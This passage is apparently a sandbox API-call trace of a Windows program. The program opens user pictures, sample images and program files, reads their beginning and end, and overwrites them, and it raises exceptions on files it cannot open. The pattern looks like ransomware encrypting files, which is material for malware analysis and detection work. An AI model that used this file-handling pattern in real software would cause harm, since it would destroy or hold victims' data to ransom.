lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0039.399] WriteFile (in: hFile=0x1c4, lpBuffer=0x25cb968*, nNumberOfBytesToWrite=0xd08, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25cb968*, lpNumberOfBytesWritten=0x2e0f2d0*=0xd08, lpOverlapped=0x0) returned 1 [0039.399] CloseHandle (hObject=0x1c4) returned 1 [0039.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fIvrARuXsEz83iSXa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fivraruxsez83isxa.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.399] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.399] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x105ef [0039.401] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.401] ReleaseMutex (hMutex=0x128) returned 1 [0039.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fIvrARuXsEz83iSXa.jpg", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0039.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fIvrARuXsEz83iSXa.jpg", cchWideChar=21, lpMultiByteStr=0x1e78b04, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fIvrARuXsEz83iSXa.jpg", lpUsedDefaultChar=0x0) returned 21 [0039.401] ReadFile (in: hFile=0x1c4, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.402] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf5ef [0039.402] ReadFile (in: hFile=0x1c4, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.402] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf5ef [0039.402] WriteFile (in: hFile=0x1c4, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.402] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.402] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.403] CloseHandle (hObject=0x1c4) returned 1 [0039.403] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.403] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.403] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x18ed [0039.403] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.403] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.403] ReleaseMutex (hMutex=0x128) returned 1 [0039.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OrangeCircles.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0039.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OrangeCircles.jpg", cchWideChar=17, lpMultiByteStr=0x1e78b04, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OrangeCircles.jpg", lpUsedDefaultChar=0x0) returned 17 [0039.403] ReadFile (in: hFile=0x1c4, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x18ed, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2e0f2bc*=0x18ed, lpOverlapped=0x0) returned 1 [0039.406] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0039.407] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1e75, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1e75, lpOverlapped=0x0) returned 1 [0039.408] CloseHandle (hObject=0x1c4) returned 1 [0039.408] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.408] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.408] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xbea1f [0039.408] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.408] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.408] ReleaseMutex (hMutex=0x128) returned 1 [0039.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Koala.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Koala.jpg", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Koala.jpg", lpUsedDefaultChar=0x0) returned 9 [0039.409] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.416] ReadFile (in: hFile=0x1c4, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.422] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xbda1f [0039.422] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.429] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xbda1f [0039.430] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.430] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.430] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.430] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.431] CloseHandle (hObject=0x1c4) returned 1 [0039.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.434] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.434] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7d92 [0039.434] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.434] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.434] ReleaseMutex (hMutex=0x128) returned 1 [0039.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql70.xsl", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.434] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sql70.xsl", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sql70.xsl", lpUsedDefaultChar=0x0) returned 9 [0039.434] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.714] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6d92 [0039.714] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.715] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6d92 [0039.715] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.716] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.716] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.716] CloseHandle (hObject=0x198) returned 1 [0039.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\skype.exe" (normalized: "c:\\program files\\microsoft synchronization services\\skype.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0039.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\skype.exe", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\skype.exe", lpFilePart=0x2e0f690*="skype.exe") returned 0x3d [0039.716] GetLastError () returned 0x20 [0039.716] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x51 [0040.072] LocalFree (hMem=0x70da60) returned 0x0 [0040.072] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.072] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0040.072] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.072] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\skype.exe" (normalized: "c:\\program files\\microsoft synchronization services\\skype.exe")) returned 0x20 [0040.072] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui", lpFilePart=0x2e0f690*="jnwmon.dll.mui") returned 0x35 [0040.072] GetLastError () returned 0x5 [0040.072] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿘qˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0040.072] LocalFree (hMem=0x71afd8) returned 0x0 [0040.072] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.073] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0040.073] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.073] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui")) returned 0x20 [0040.073] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp", lpFilePart=0x2e0f690*="Genko_1.jtp") returned 0x36 [0040.073] GetLastError () returned 0x5 [0040.073] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿘qˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0040.073] LocalFree (hMem=0x71afd8) returned 0x0 [0040.073] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.073] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0040.074] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.074] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp")) returned 0x20 [0040.074] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\barca.exe" (normalized: "c:\\program files\\windows mail\\barca.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.074] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\barca.exe", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files\\Windows Mail\\barca.exe", lpFilePart=0x2e0f690*="barca.exe") returned 0x27 [0040.074] GetLastError () returned 0x20 [0040.074] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x51 [0040.074] LocalFree (hMem=0x70da60) returned 0x0 [0040.074] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.074] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0040.074] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.075] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\barca.exe" (normalized: "c:\\program files\\windows mail\\barca.exe")) returned 0x20 [0040.075] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui", lpFilePart=0x2e0f690*="PhotoViewer.dll.mui") returned 0x3f [0040.075] GetLastError () returned 0x5 [0040.075] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿘qˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0040.075] LocalFree (hMem=0x71afd8) returned 0x0 [0040.075] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.075] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0040.075] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.075] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0040.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui")) returned 0x20 [0040.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leame.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.076] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.076] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x423b [0040.076] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.076] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.076] ReleaseMutex (hMutex=0x128) returned 1 [0040.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.076] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leame.htm", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leame.htm", lpUsedDefaultChar=0x0) returned 9 [0040.076] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.078] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x323b [0040.078] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.079] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x323b [0040.079] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.079] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0040.079] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.079] CloseHandle (hObject=0x1d4) returned 1 [0040.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32Info.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\acrord32info.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.080] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.080] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x45a0 [0040.080] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 